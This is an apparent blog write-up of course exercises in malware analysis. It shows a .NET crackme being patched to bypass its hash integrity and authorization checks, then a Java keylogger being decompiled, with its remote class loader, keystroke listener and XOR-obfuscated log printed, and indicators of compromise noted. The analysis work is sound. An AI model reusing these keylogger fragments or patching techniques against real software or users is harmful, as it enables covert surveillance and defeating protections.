This post serves as a write-up of the practical exercises offered in Pluralsight's Analyzing Malware for .NET and Java Binaries course.
The course covers tools and techniques for analyzing malicious software developed for .NET and JVM platforms. These tools include
- dnSpy - .NET disassembler, decompiler and debugger. This utility can accept PE (Portable Executable) files as input and uncover the underlying Common Intermediate Language, as well higher level (C#, Visual Basic) code. dnSpy can also function as a debugger.
- Bytecode Viewer - a reverse engineering suite (disassembler, decompiler, debugger) for the JVM platform.
First steps
The first exercise included in this course is a non-malicious program written for the .NET platform, that contains a "flag" - an email address. Disassembling and decompiling the software in dnSpy is as easy as simply opening the Portable Executable file (.exe
) within the program.
Doing so reveals the structure of the assembly, in a manner visually very similar to Visual Studio.
As we can see, our assembly consists of three projects
PS_DotNet_Lab1
PS_DotNet_Lab1.App_Code
PS_DotNet_Lab1.Properties
each containing multiple classes.
As first order of business, we should find the entry point of the program. I examine the Program
class and find the Main()
function.
namespace PS_DotNet_Lab1
{
// Token: 0x02000004 RID: 4
internal static class Program
{
// Token: 0x06000008 RID: 8 RVA: 0x0000251C File Offset: 0x0000071C
[STAThread]
private static void Main()
{
bool flag = Verification.App_Startup();
if (flag)
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Client());
}
else
{
MessageBox.Show("Try Again :)");
}
}
}
}
Simply running the program shows a message box with the "Try Again :)" message, which indicates that the flag
variable is initially false
. In order to understand the logic behind this value, the App_Startup()
function (located in the Verification
class) needs to be examined.
namespace PS_DotNet_Lab1
{
// Token: 0x02000002 RID: 2
public static class Verification
{
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
private static string create_md5(string filename)
{
string result;
using (MD5 md = MD5.Create())
{
using (FileStream fileStream = File.OpenRead(filename))
{
result = BitConverter.ToString(md.ComputeHash(fileStream)).Replace("-", "").ToLowerInvariant();
}
}
return result;
}
// Token: 0x06000002 RID: 2 RVA: 0x000020C4 File Offset: 0x000002C4
public static bool App_Startup()
{
bool result;
try
{
Settings settings = new Settings();
string check = settings.check1;
string b = Verification.create_md5("PS_DotNet_Lab1.exe");
bool flag = check != b;
if (flag)
{
result = false;
}
else
{
result = true;
}
}
catch
{
result = false;
}
return result;
}
}
}
Looking at the App_Startup()
and create_md5()
methods, I get the impression that the program is checking its own integrity through an MD5 hash. The Settings.check1
property has DefaultSettingValue
attribute set for a specific MD5 hash.
Now let's start modifying the code in order to try and bypass these checks. Right clicking anywhere within the method gives us the option to edit it. I simply modify the App_Startup()
method to always return true
instead of the result
variable. After clicking Save All, I create a new version of our executable, with our modified code compiled in it. By running this new executable, I confirm that the hashing checks have been bypassed.
Clicking the Authenticate button introduces an attempt counter. Before I run out of valid attempts (after which the program never launches again), I look at the Client
class, which contains the main callbacks of the Windows Forms application. I specifically pay attention to the button1_Click()
method.
// Token: 0x06000004 RID: 4 RVA: 0x000021A0 File Offset: 0x000003A0
private void button1_Click(object sender, EventArgs e)
{
bool flag = !Authentication.isAuthorized();
if (flag)
{
this.txtOutputLog.AppendText("Invalid Attempt - You have " + this.maxAttempts + " attempts left\n");
bool flag2 = this.maxAttempts == 0U;
if (flag2)
{
RegistryKey registryKey = Registry.CurrentUser.CreateSubKey("PS_DotNet_Lab1");
registryKey.SetValue("Challenge1", "1");
registryKey.Close();
Application.Exit();
}
this.maxAttempts -= 1U;
}
else
{
this.txtOutputLog.Clear();
this.lblMessage.Text = "You got it! " + Authentication.returnEmailAddress();
RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("PS_DotNet_Lab1");
bool flag3 = registryKey2 != null;
if (flag3)
{
object value = registryKey2.GetValue("Challenge1");
bool flag4 = value != null;
if (flag4)
{
registryKey2.DeleteSubKey("Challenge1");
}
registryKey2.Close();
}
}
}
We seem close to our objective. The software seems to check for authorization through the isAuthorized()
method, and if so, display the email "flag". I proceed by modifying the method so that the flag
variable is always false
and does not depend on authorization.
That's it. This reveals our desired flag.
Note: One of the objectives on malware analysis is to find indicators of compromise (IOC) - clues that indicate that a given machine has been infected. As the decompiled code shows, this software modifies the Windows registry and creates a subkey
PS_DotNet_Lab1
. Presence of said key within the Registry Editor (regedit.exe
) can function as an IOC.
An alternative way
Upon my first examination of the decompiled source, I found the method that actually generates the email address. However, the flag wasn't kept simply as a string, an anti-analysis technique called obfuscation was used. The method in question is located in the Authorization
class and is called returnEmailAddress()
. Here's the excerpt from the class:
public static string returnEmailAddress()
{
string text = "";
foreach (char c in Authentication.addy)
{
text += c.ToString();
}
return text;
}
// Token: 0x04000009 RID: 9
private static byte[] addy = new byte[]
{
53,
102,
54,
104,
56,
57,
100,
115,
117,
64,
48,
120,
101,
118,
105,
108,
99,
48,
100,
101,
46,
99,
111,
109,
46,
99,
111,
109
};
So another option to retrieve our email address would be to copy this code, run it in our own environment and retrieve the resulting string. However, I chose to try and open the full Windows Forms application for added interest.
Second exercise
The next practical assignment offered in the course is a Java application, that does not contain any flags. The sample that needs to be analyzed comes as a .jar
package, which can be opened from within Bytecode Viewer.
In order to dissect the logic of the program, we need to find its entry point - the main()
function. It can be found within the ResourceLoader
class, which also includes a lot of seemingly random string objects, most of which are presumably unnecessary (unnecessary code is yet another anti-analysis technique).
public static void main(String[] args) throws ClassNotFoundException, IllegalArgumentException, IllegalAccessException, InvocationTargetException, SecurityException,
NoSuchMethodException, IOException {
URL[] classLoaderUrls = new URL[]{new URL(g.c + g.cc + gg.m + dgressdf.xx + gg.mm + dgressdf.x)};
ClassLoader jceClassLoader = new URLClassLoader(classLoaderUrls, (ClassLoader)null);
Thread.currentThread().setContextClassLoader(jceClassLoader);
Class c = jceClassLoader.loadClass("com.jrockit.drive.introspection2");
Method main = c.getMethod("main", args.getClass());
main.invoke((Object)null, args);
}
It can be seen that this method serves simply to retrieve the real main()
method from the introspection2.jar
package. I used archiving software to retrieve the package and supply it to Bytecode Viewer.
Note: Another internal
.jar
package was present -jnativehook.jar
. Upon looking at its classes, it seems to belong to the JNativeHook library that the malware uses to listen for keypresses.
The introspection2
class seems to contain the main malicious logic, it's entry point main()
method contains the following line
GlobalScreen.addNativeKeyListener(new introspection2());
This prompts our attention to the constructor of the class:
public introspection2() throws IOException {
File file = new File(System.getProperty("java.io.tmpdir") + "JavaDeploy.log");
if (!file.exists()) {
file.createNewFile();
}
this.fw = new FileWriter(file.getAbsoluteFile(), true);
this.bw = new BufferedWriter(this.fw);
}
It is clear that the malware looks for the temporary directory, and creates a file called JavaDeploy.log
within it. That's our indicator of compromise - by searching for this file on suspected machines, we can confirm whether they have been infected.
In order to work with JNativeHook
, the class implements the NativeKeyListener
interface. More specifically, I pay attention to the nativeKeyPressed()
method:
public void nativeKeyPressed(NativeKeyEvent e) {
try {
this.bw.write(e.getKeyCode() ^ 151);
this.bw.flush();
} catch (IOException var4) {
}
if (e.getKeyCode() == 1) {
try {
GlobalScreen.unregisterNativeHook();
} catch (NativeHookException var3) {
var3.printStackTrace();
}
}
}
We can now see the exact mechanism that this particular malware (more specifically, keylogger) utilizies. In order to obfuscate its output, it XORs the registered characters with a specific number (151).
Top comments (1)
Hi Narek,i have a question about the C# exercise,what part of the code did you modified to bypass the first restriction? because im trying to modify on the fly with breakpoint and with the variables and it worked well,but if i press ctrl+shift+e to modify the code and then run the application it just doesnt work